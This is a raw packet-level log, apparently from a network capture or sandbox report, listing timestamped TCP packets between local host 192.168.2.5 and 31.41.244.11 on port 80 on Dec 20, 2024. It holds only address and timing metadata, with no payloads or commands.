Dec 20, 2024 13:12:12.456343889 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.457146883 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.457196951 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.457484961 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.457500935 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.457535028 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.457551003 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.458519936 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.458570957 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.458723068 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.458772898 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.459700108 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.459752083 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.459892035 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.459943056 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.460781097 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.460855007 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.460899115 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.460941076 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.461890936 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.461942911 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.462143898 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.462198973 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.463005066 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.463076115 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.463195086 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.463251114 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.464170933 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.464231968 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.464526892 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.464615107 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.465267897 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.465320110 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.465786934 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.465861082 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.466341972 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.466393948 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.467127085 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.467176914 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.467494011 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.467509031 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.467545986 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.467562914 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.468645096 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.468696117 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.468816042 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.468873024 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.469698906 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.469748020 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.469975948 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.470026970 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.470977068 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.471065998 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.471504927 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.471616030 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.472052097 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.472104073 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.472248077 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.472297907 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.473129034 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.473187923 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.473212957 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.473263025 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.474240065 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.474255085 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.474288940 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.474306107 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.475358963 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.475409031 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.475703955 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.475753069 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.476478100 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.476526022 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.476721048 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.476771116 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.477572918 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.477626085 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.477698088 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.477747917 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.478699923 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.478755951 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.479145050 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.479197025 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.479820967 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.479872942 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.480057955 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.480120897 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.480972052 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.480986118 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.481035948 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.482100010 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.482150078 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.482217073 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.482264996 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.483141899 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.483191967 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.483537912 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.483588934 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.484272003 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.484323025 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.484783888 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.484833956 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.485413074 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.485465050 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.485502958 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.485584974 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.486632109 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.486694098 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.486886024 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.486937046 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.487960100 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.488013983 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.488333941 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.488389969 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.489006042 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.489064932 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.489070892 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.489116907 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.489923000 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.489965916 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.490132093 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.490184069 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.490967035 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.491024017 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.624505997 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.624591112 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.624696016 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.624753952 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.625041008 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.625098944 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.625199080 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.625252008 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.626125097 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.626184940 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.626252890 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.626429081 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.627270937 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.627288103 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.627325058 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.627351046 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.628890038 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.628905058 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.628956079 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.629514933 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.629579067 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.629739046 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.629806042 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.630583048 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.630686998 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.630891085 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.630939960 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.631725073 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.631774902 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.631812096 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.631865025 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.632999897 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.633057117 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.633169889 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.633275986 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.634109020 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.634125948 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.634169102 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.635435104 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.635488987 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.635708094 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.635761976 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.636459112 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.636528015 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.636581898 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.636750937 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.637588978 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.637692928 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.638015032 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.638098001 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.638557911 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.638624907 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.638669968 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.638725042 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.639679909 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.639744043 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.639765024 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.639882088 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.640816927 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.640832901 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.640871048 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.640897989 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.641885042 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.641937971 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.642236948 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.642369986 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.642981052 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.643053055 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.643117905 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.644092083 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.644107103 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.644162893 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.645322084 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.645380020 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.645489931 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.645545959 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.646301031 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.646358967 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.646536112 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.646589041 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.647461891 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.647476912 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.647520065 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.648631096 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.648648024 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.648705959 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.649739981 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.649797916 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.649954081 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.650011063 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.650744915 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.650762081 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.650804996 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.651993036 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.652046919 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.652199030 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.652251959 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.653318882 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.653373003 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.653568983 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.653618097 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.654279947 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.654365063 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.654409885 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.654459000 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.655365944 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.655419111 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.656158924 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.656212091 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.656491041 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.656541109 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.656697035 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.656752110 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.658088923 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.658142090 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.658317089 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.658370018 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.659132004 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.659238100 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.659358025 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.659410000 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.660060883 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.660113096 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.660720110 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.660770893 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.661017895 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.661070108 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.661113977 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.661164999 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.661946058 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.661997080 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.662246943 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.662298918 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.663100958 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.663152933 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.663310051 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.663371086 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.664345026 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.664360046 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.664428949 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.665330887 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.665390015 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.665571928 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.665627956 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.666503906 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.666558981 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.666579962 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.666630983 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.667645931 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.667699099 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.668206930 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.668258905 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.668718100 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.668767929 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.668811083 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.668860912 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.669941902 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.669981003 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.670016050 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.670038939 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.671066999 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.671118975 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.671397924 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.671449900 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.672138929 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.672189951 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.672462940 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.672513962 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.673273087 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.673326015 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.673456907 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.673507929 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.674335957 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.674388885 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.674643040 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.674691916 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.675379038 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.675427914 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.675563097 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.675612926 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.676521063 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.676573992 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.676619053 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.676670074 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.677666903 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.677717924 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.677987099 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.678040028 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.678879976 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.678931952 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.679898977 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.679915905 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.679958105 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.680026054 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.680078030 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.681097984 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.681157112 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.681934118 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.681986094 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.682450056 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.682466030 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.682502985 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.682524920 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.684156895 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.684207916 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.817703009 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.817899942 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.817969084 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.818269014 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.818479061 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.818548918 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.819400072 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.819416046 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.819459915 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.820509911 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.820569038 CET	49831	80	192.168.2.5	31.41.244.11
